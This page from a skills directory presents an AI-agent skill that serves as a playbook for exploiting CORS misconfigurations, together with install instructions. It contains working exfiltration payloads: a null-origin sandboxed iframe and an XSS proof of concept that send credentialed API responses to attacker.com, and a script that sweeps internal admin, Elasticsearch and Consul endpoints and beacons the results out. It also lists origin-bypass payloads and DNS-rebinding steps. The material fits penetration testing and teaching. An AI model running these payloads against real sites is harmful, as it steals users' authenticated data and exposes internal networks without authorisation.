cors-cross-origin-misconfiguration
CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.
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Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill cors-cross-origin-misconfiguration- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads cors-cross-origin-misconfiguration automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors
AI LOAD INSTRUCTION: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion SCENARIOS.md.
Extended Scenarios
Also load SCENARIOS.md when you need:
- JSONP hijacking complete attack scenario — watering hole +
<script>cross-origin data theft - Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
- Same-origin policy deep dive — protocol/hostname/port definition,
document.domainsubdomain relaxation and its security risks - CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
- CORS exploitation payloads — reflected origin with
credentials: include, null origin via sandboxed iframe - Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup
1. WHEN TO LOAD THIS SKILL
Load when:
- Responses contain
Access-Control-Allow-Origin,Access-Control-Allow-Credentials, or preflight headers - A browser-based attack path might read authenticated API responses
- JSON endpoints appear protected from CSRF but are readable cross-origin
2. HIGH-VALUE MISCONFIGURATION CHECKS
| Theme | What to Check |
|---|---|
| wildcard with credentials | Access-Control-Allow-Origin: * plus credential support or equivalent broken behavior |
| reflected origin | server echoes arbitrary Origin |
| weak allowlist | suffix, prefix, substring, regex, or mixed-case matching errors |
null origin | acceptance of sandboxed, file, or serialized origins |
| preflight trust | overbroad methods and headers |
| internal API exposure | admin or tenant data readable cross-origin |
3. QUICK TRIAGE
- Send crafted
Originheaders and inspect reflection. - Test with and without credentials.
- Probe allowlist bypasses using attacker subdomains and parser edge cases.
- If readable data is sensitive, chain to account or tenant impact.
4. RELATED ROUTES
- Session or JSON action abuse: csrf cross site request forgery
- OAuth token leakage and callback binding: oauth oidc misconfiguration
- API auth context: api auth and jwt abuse
5. NULL ORIGIN EXPLOITATION
How Origin: null is sent
| Context | Origin Header Value |
|---|---|
Sandboxed iframe (<iframe sandbox>) | null |
data: URI scheme | null |
file: protocol (local HTML) | null |
| Cross-origin redirect chain (some browsers) | null |
Serialized data in blob: URL from opaque origin | null |
Exploitation
If the server includes null in its origin allowlist or reflects it:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>
The sandboxed iframe sends Origin: null → server reflects null → attacker reads credentialed response.
6. SUBDOMAIN XSS → CORS BYPASS CHAIN
Attack flow
1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responses
PoC (injected via XSS on blog.target.com)
fetch('https://api.target.com/v1/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify(data));
});
Why this works
blog.target.comis same-site withapi.target.com→SameSitecookies sent- CORS allowlist includes
*.target.com→Access-Control-Allow-Origin: https://blog.target.com - Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain
Reconnaissance for this chain
□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify
7. VARY: ORIGIN CACHING ISSUE
Problem
When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:
1. Attacker requests: Origin: https://attacker.com
Response cached with: Access-Control-Allow-Origin: https://attacker.com
2. Victim requests same URL (no Origin or different Origin)
Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
→ Victim's browser allows attacker.com to read the response (CORS cache poisoning)
Detection
# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I
# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I
# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing
Exploitation
1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials
Fix verification
□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)
8. REGEX BYPASS PATTERNS
Common flawed regex patterns for origin validation:
| Intended Pattern | Flaw | Bypass Origin |
|---|---|---|
^https?://.*\.target\.com$ | .* matches anything including - | https://attacker-target.com |
^https?://.*target\.com$ | Missing anchor after subdomain | https://nottarget.com, https://attacker.com/.target.com |
target\.com (substring match) | No anchors | https://attacker.com?target.com |
^https?://(.*\.)?target\.com$ | Missing port restriction | https://target.com.attacker.com:443 |
^https://[a-z]+\.target\.com$ | Missing end anchor for path | N/A (but misses subdomains with - or digits) |
| Backtracking-vulnerable regex | ReDoS | https://aaaa...aaa.target.com (CPU exhaustion) |
Test payloads for origin validation bypass
https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
null
Advanced: Unicode normalization bypass
https://target.com → https://ⓣarget.com (Unicode homoglyph)
Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.
9. INTERNAL NETWORK CORS EXPLOITATION
Scenario
An internal-only API (e.g., http://192.168.1.100:8080/admin) is configured with:
Access-Control-Allow-Origin: *
Internal APIs often use wildcard CORS because "only internal users can reach it."
Attack chain
1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server
// On attacker.com — target internal API from victim's browser
const internalAPIs = [
'http://192.168.1.1/admin/config',
'http://10.0.0.1:8080/api/users',
'http://172.16.0.1:9200/_cat/indices', // Elasticsearch
'http://localhost:8500/v1/agent/members', // Consul
];
internalAPIs.forEach(url => {
fetch(url)
.then(r => r.text())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify({url, data}));
})
.catch(() => {});
});
Port scanning via CORS timing
Even without Access-Control-Allow-Origin: *, the attacker can infer internal service availability:
- Port open: connection established → CORS error (different timing)
- Port closed: connection refused → fast error
- Host down: timeout → slow error
Combined with DNS rebinding
1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable
FAQ
What does the cors-cross-origin-misconfiguration skill do?
CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.
How do I install cors-cross-origin-misconfiguration?
Run npx skills add https://github.com/yaklang/hack-skills --skill cors-cross-origin-misconfiguration in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/cors-cross-origin-misconfiguration/ (personal) or .claude/skills/cors-cross-origin-misconfiguration/ (project).
Which AI agents can use cors-cross-origin-misconfiguration?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is cors-cross-origin-misconfiguration safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains cors-cross-origin-misconfiguration?
It is published by yaklang in yaklang/hack-skills. It has 3,730 recorded installs.
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